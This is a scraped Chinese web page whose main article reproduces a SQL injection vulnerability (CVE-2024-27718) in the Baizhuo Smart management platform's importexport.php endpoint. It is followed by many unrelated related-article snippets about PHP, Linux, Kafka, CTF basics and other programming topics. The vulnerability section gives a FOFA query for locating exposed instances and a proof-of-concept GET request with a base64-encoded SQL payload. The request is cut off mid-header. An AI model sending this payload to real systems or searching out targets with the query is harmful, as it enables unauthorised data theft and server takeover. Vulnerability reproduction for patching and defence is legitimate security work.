当前位置： 首页 > news >正文

百卓Smart管理平台 importexport.php SQL注入漏洞复现(CVE-2024-27718)

news 文章来源：https://blog.csdn.net/qq_41904294/article/details/137207197 2024/11/2 22:22:42

0x01 产品简介

百卓Smart管理平台是北京百卓网络技术有限公司(以下简称百卓网络)的一款安全网关产品，是一家致力于构建下一代安全互联网的高科技企业。

0x02 漏洞概述

百卓Smart管理平台 importexport.php 接口处存在SQL注入漏洞，攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。

0x03 复现环境

FOFA：title="Smart管理平台"

0x04 漏洞复现

PoC

GET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,appl

相关文章：

百卓Smart管理平台 importexport.php SQL注入漏洞复现(CVE-2024-27718)

0x01 产品简介 百卓Smart管理平台是北京百卓网络技术有限公司(以下简称百卓网络)的一款安全网关产品，是一家致力于构建下一代安全互联网的高科技企业。 0x02 漏洞概述 百卓Smart管理平台 importexport.php 接口处存在SQL注入漏洞，攻击者除了可以利用 SQL 注入漏洞获取数据…...

编程日记 2024/4/4 0:20:32

PHP教程_PHP5函数str_replace替换字符串中的字符

PHP教程_PHP5函数str_replace替换字符串中的字符 PHP (PHP: Hypertext Preprocessor) 即 “超文本预处理器”, 是在服务器端执行的脚本语言, 尤其适用于Web开发并可嵌入HTML中。 PHP 语法学习了 C语言, 吸纳 Java 和 Perl 多个语言的特色发展出自己的特色语法, 并根据它们的长…...

编程日记 2024/4/4 0:18:31

Word的”交叉引用“和”插入题注“快捷键设置

Word的”交叉引用“和”插入题注“快捷键设置 在MSWord2021中，可以自定义设置快捷键。方法如下：文件-选项-自定义功能区-键盘快捷方式（自定义）。具体过程如图所示。 最后，按照上述流程将插入题注（Insert…...

编程日记 2024/4/4 0:17:29

小白从0学习ctf（web安全）

文章目录 前言一、baby lfi（bugku-CTF）1、简介2、解题思路1、解题前置知识点2、漏洞利用 二、baby lfi 2（bugku-CTF）1.解题思路1、漏洞利用 三、lfi（bugku CTF）1、解题思路1、漏洞利用 总结 前言 此文章是…...

编程日记 2024/4/4 0:15:27

【嵌入式开发 Linux 常用命令系列 7.4 -- awk 处理文件名，去除后缀只保留文件名】

请阅读【嵌入式开发学习必备专栏 】 文章目录 awk 处理文件名，去除后缀只保留文件名 awk 处理文件名，去除后缀只保留文件名 在 shell 中， 可以使用 awk 来处理文件名，去除其后缀。下面是一个示例命令，它会将带有后缀的…...

编程日记 2024/4/4 0:13:25

Linux重点思考(中）--端口/静态内存/负载/日志

这里写目录标题 知道的linux常用命令：查看指定端口进程netstat -pantunetstat -pantu|grep 22 静态运行内存free硬盘物理内存df和du当前负载uptime查看日志awk统计文件每一行单词sed 替换文件单词 知道的linux常用命令：查看指定端口进程 netstat -pantu…...

编程日记 2024/4/4 0:12:24

【Go】五、流程控制

文章目录 1、if2、switch3、for4、for range5、break6、continue7、goto8、return 1、if 条件表达式左右的()是建议省略的if后面一定要有空格&#xff0c;和条件表达式分隔开来{ }一定不能省略if后面可以并列的加入变量的定义 if count : 20;count < 30 {fmt.Println(&quo…...

编程日记 2024/4/4 0:10:22

数据开发-面试真题。

1. 自我介绍 2.在培训班的学过的项目经历 3.之前的工作经历&#xff0c;以及薪资 4.开始讲之前的项目经历 5.技术面试官开始提问。 kafka中进行数据分层&#xff0c;怎么从kafka中实时查询到相关的数据&#xff0c;一条或几条 6.java中的集合&#xff0c;以及io流 7.给定…...

编程日记 2024/4/4 0:08:21

如何使用免费的ChatGpt3.5

如何使用免费的ChatGpt 最近免费的gpt3.5很多都不怎么行了实在是太给力了尾声 最近免费的gpt3.5很多都不怎么行了 原因是什么呢&#xff1f;因为openai已经取消了免费的5刀赠送&#xff0c;那么这些人手上的免费的sses-key 用完后&#xff0c;就基本上全军覆没了&#xff0c;再…...

编程日记 2024/4/4 0:07:19

Kafka硬核干货

目录 Kafka Kafka Producer Kafka Consumer Consumer Offset Log Manager 如何实现高吞吐、低延迟...

编程日记 2024/4/4 0:06:18

分享几个可以免费使用的GPT网站吧

1. ChatGAI ChatGAI是一个界面简洁的AI平台&#xff0c;提供App和网页版&#xff0c;每日均有免费使用机会。 2. ChatGPT 本网站向大家开放了ChatGPT 3.5和4.0版本的免费体验&#xff0c;特别适合新用户。每天都有免费次数&#xff0c;响应迅速&#xff0c;注册便捷&#xff0…...

编程日记 2024/4/4 0:02:15

MySQL进阶-----前缀索引、单例与联合索引

目录 前言 一、前缀索引 1. 语法 2. 如何选择前缀长度 3. 前缀索引的查询流程 二、单列索引与联合索引 三、索引设计原则 前言 本期是MySQL进阶篇当中索引的最后一期内容&#xff0c;这里我们主要接着上一期继续讲解前缀索引、单例与联合索引。&#xff08;上一期链接&…...

编程日记 2024/4/3 23:58:10

HTTP——Cookie

HTTP——Cookie 什么是Cookie通过Cookie访问网站 我们之前了解了HTTP协议&#xff0c;如果还有小伙伴还不清楚HTTP协议&#xff0c;可以点击这里&#xff1a; https://blog.csdn.net/qq_67693066/article/details/136895597 我们今天来稍微了解一下HTTP里面一个很小的部分&…...

编程日记 2024/4/3 23:56:08

Scala大数据开发

版权声明 本文原创作者&#xff1a;谷哥的小弟作者博客地址&#xff1a;http://blog.csdn.net/lfdfhl Scala简述 在此&#xff0c;简要介绍 Scala 的基本信息和情况。 Scala释义 Scala 源自于英语单词scalable&#xff0c;表示可伸缩的、可扩展的含义。 Scala作者 Scala编…...

编程日记 2024/4/3 23:55:07

windows无法使用hadoop报错：系统找不到路径

在windows下安装hadoop-3.1.4,进行环境变量配置后&#xff0c;打开window命令行窗口测试hadoop命令&#xff0c;报错&#xff0c;如图所示&#xff1a; 方案&#xff1a;由于JAVA_HOME路径有空格导致&#xff0c;可修改hadoop下\etc\hadoop\hadoop_env.cmd文档中set JAVA_HOME以…...

编程日记 2024/4/3 23:53:05

从0配置React

在本地安装和配置React项目&#xff0c;您可以使用create-react-app这个官方推荐的脚手架工具。以下是安装React的步骤&#xff0c;包括安装Node.js、使用create-react-app创建React应用&#xff0c;以及启动开发服务器。 下载安装node.js运行以下命令&#xff0c;验证Node.js…...

编程日记 2024/4/3 23:52:03

File和IO流

1. File类常用方法 1.1 获取基本属性 • public String getName() &#xff1a;获取名称 • public String getPath() &#xff1a;获取路径 • public String getAbsolutePath()&#xff1a;获取绝对路径 • public File getAbsoluteFile()&#xff1a;获取绝对路径表示…...

编程日记 2024/4/3 23:48:57

2024系统架构师---解释器架构风格的概念与应用

解释器架构风格是一种软件架构模式&#xff0c;用于构建那些能够读取、解析并执行用户定义的命令或程序代码的系统。这种架构风格的关键在于提供一个运行时环境&#xff0c;它能够理解和执行预定义或用户定义的语言或指令集。通过这种方式&#xff0c;解释器模式能够为特定领域…...

编程日记 2024/4/3 23:46:55

makefile01

什么是makefile Makefile 文件描述了 Linux 系统下 C/C 工程的编译规则&#xff0c;它用来自动化编译 C/C 项目。一旦写编写好 Makefile 文件&#xff0c;只需要一个 make 命令&#xff0c;整个工程就开始自动编译&#xff0c;不再需要手动执行 GCC 命令。一个中大型 C/C 工程…...

编程日记 2024/4/3 23:44:52

计算机视觉之三维重建（6）---多视图几何(上)

文章目录 一、运动恢复结构问题&#xff08;SfM&#xff09;二、欧式结构恢复2.1 概述2.2 求解2.3 欧式结构恢复歧义 三、仿射结构恢复3.1 概述3.2 因式分解法3.3 总结3.4 仿射结构恢复歧义 一、运动恢复结构问题&#xff08;SfM&#xff09; 1. 运动恢复结构问题&#xff1a;通…...

编程日记 2024/4/3 23:43:51

蓝桥杯：全球变暖（python，BFS，DFS）（栈溢出的处理办法）

图论的经典题型&#xff0c;深度优先搜索和广度优先搜索都可以&#xff0c;但是本题推荐使用广度优先搜索&#xff08;类似的题最好都用广度优先搜索&#xff09;&#xff0c;因为使用深度优先搜索会爆栈&#xff08;栈溢出&#xff09;。本篇博客两种方法都进行讲解&#xff0…...

编程日记 2024/4/3 23:39:47

Qt C++ | Qt 元对象系统、信号和槽及事件(第一集)

01 元对象系统 一、元对象系统基本概念 1、Qt 的元对象系统提供的功能有：对象间通信的信号和槽机制、运行时类型信息和动态属性系统等。 2、元对象系统是 Qt 对原有的 C++进行的一些扩展，主要是为实现信号和槽机制而引入的， 信号和槽机制是 Qt 的核心特征。 3、要使用元…...

编程日记 2024/4/3 23:38:45

Python 抽象类

在Python的抽象基类(ABC)中,方法并不是必须全部是抽象方法。抽象基类可以同时包含抽象方法和具体方法。抽象类中可以有抽象方法也可以定义具体方法 具体来说: 抽象方法: 使用abc.abstractmethod装饰器标记的方法是抽象方法。抽象方法没有方法体,只有方法签名。抽象方法必须在具…...

编程日记 2024/4/3 23:33:41

达梦数据库自动备份(全库)+还原(全库) 控制台

一 前提 1.安装达梦数据库DB8(请参照以前文章) 我的数据库安装目录是 /app/dmDB8 2.已创建实例 (请参照上一篇文章) 二 准备测试数据 三 自动备份步骤 1.开启归档模式 开启DM管理工具管理控制台 弹不出来工具的 输入命令 xhost 第一步 将服务器转换为配置状态 右键-&g…...

编程日记 2024/4/3 23:32:40

android AndroidAutoSize 取消第三方库适配问题（两个步骤）

比如第三方库的Activity是&#xff1a;PictureSelectorSupporterActivity、PictureSelectorTransparentActivity、CropImageActivity 1.在自定义Application 的 onCreate 方法设置&#xff1a; Overridepublic void onCreate() {super.onCreate();this.mAppthis;registerActi…...

编程日记 2024/4/3 23:31:39

【Java 多线程】从源码出发，剖析Threadlocal的数据结构

文章目录 exampleset(T value)createMap(t, value);set(ThreadLocal<?> key, Object value)ThreadLocalMap和Thread的关系 全貌 ThreadLocal是个很重要的多线程类&#xff0c;里面数据结构的设计很有意思&#xff0c;很巧妙。但是我们平时使用它的时候常常容易对它的使用…...

编程日记 2024/4/3 23:30:38

Sy6 编辑器vi的应用（+shell脚本3例子）

实验环境&#xff1a; 宿主机为win11&#xff0c;网络&#xff1a;10.255.50.5 6389 WSL2 ubuntu 目标机的OS&#xff1a;Ubuntu 内核、版本如下&#xff1a; linuxpeggy0223:/$ uname -r 5.15.146.1-microsoft-standard-WSL2 linuxpeggy0223:/$ cat /proc/version Linux vers…...

编程日记 2024/4/3 23:28:35

把标注数据导入到知识图谱

文章目录 简介数据导入Doccano标注数据&#xff0c;导入到Neo4j寻求帮助 简介 团队成员使用 Doccano 标注了一些数据&#xff0c;包括 命名实体识别、关系和文本分类 的标注的数据&#xff1b; 工作步骤如下&#xff1a; 首先将标注数据导入到Doccano&#xff0c;查看一下标注…...

编程日记 2024/4/3 23:18:25

【前端基础】什么是类数组对象，类数组对象转换成数组的方法

类数组对象&#xff08;array-like object&#xff09;是指在 JavaScript 中具有类似数组的特征但不是真正的数组的对象。这些对象具有类似数组的特性&#xff0c;例如有一个 length 属性和通过索引访问元素的能力&#xff0c;但它们不具备数组对象的所有方法和特性。 什么是类…...

编程日记 2024/4/3 23:17:24

Python快速入门系列-8（Python数据分析与可视化）

第八章：Python数据分析与可视化 8.1 数据处理与清洗8.1.1 数据加载与查看8.1.2 数据清洗与处理8.1.3 数据转换与整理8.2 数据可视化工具介绍8.2.1 Matplotlib8.2.2 Seaborn8.2.3 Plotly8.3 数据挖掘与机器学习简介8.3.1 Scikit-learn8.3.2 TensorFlow总结在本章中，我们将探讨…...

编程日记 2024/4/3 23:14:17

那个网站教做仙芋鲜/中国域名注册官网

转载&#xff1a;https://www.cnblogs.com/gavanwanggw/p/6743774.html MFC中获取各个窗口之间的句柄或者指针对象的方法 MFC在非常多的对话框操作中,我们常常要用到在一个对话框中调用还有一个对话框的函数或变量.能够用例如以下方法来解决. HWND hWnd::FindWindow(NULL,_T…...

编程日记 2024/11/2 22:03:43

大连精美网站制作/百度代发排名

北京时间 2019 年 10 月 9 日&#xff0c;微软发布了全新的 VS Code Python 插件&#xff0c;带来了众多更新&#xff01;其中&#xff0c;最大的更新就要属万众期待的 Jupyter Notebook 原生支持了&#xff01;我们来看看这次 Jupyter Notebook 的原生支持带来了哪些好用的功能…...

编程日记 2024/11/2 21:11:20

澳门赌网站有做代理/做网站推广一般多少钱

有2台域控 主域控 AD1: IP:192.168.0.1/24首选 DNS 服务器:127.0.0.1备用 DNS 服务器: 192.168.0.2额外 AD2: IP:1921.68.0.2/24首选 DNS 服务器:127.0.0.1备用 DNS 服务器: 192.168.0.1第三台域控: 额外AD3: IP:192.168.0.3/24首选 DNS 服务器:127.0.0.1备用 DNS …...

编程日记 2024/11/2 20:08:50

白日梦怎么做的网站/我想做app推广代理

众所周知 Vue 是借助 ES5 的 Object.defineProperty 方法设置 getter、setter 达到数据驱动界面&#xff0c;当然其中还有模板编译等等其他过程。 而小程序官方的 api 是在 Page 中调用 this.setData 方法来改变数据&#xff0c;从而改变界面。 那么假如我们将两者结合一下&…...

编程日记 2024/11/2 19:30:11

三原网站开发/产品推广的渠道有哪些

作者&#xff1a;老人羽海https://segmentfault.com/a/1190000022680541#item-4电商小程序中&#xff0c;用到瀑布流的地方非常多&#xff0c;每次都写一个瀑布流&#xff0c;重复一次逻辑&#xff0c;作为程序员&#xff0c;肯定是非常不愿意的。瀑布流的形式都是大同小异&…...

编程日记 2024/11/2 18:56:21

网站服务器错误/企业网站模板图片

简介:开发工具篇Maven 篇Git 篇其他工具篇开发工具篇Intellij IDEA 最常用配置详细图解Intellij IDEA 非常6的 10 个姿势Intellij IDEA 那些隐藏好用的小技巧Intellij IDEA Debug 调试技巧Intellij IDEA 阅读源码的 4 个绝 ...开发工具篇Maven 篇Git 篇其他工具篇开发工具篇Int…...

编程日记 2024/11/2 15:10:02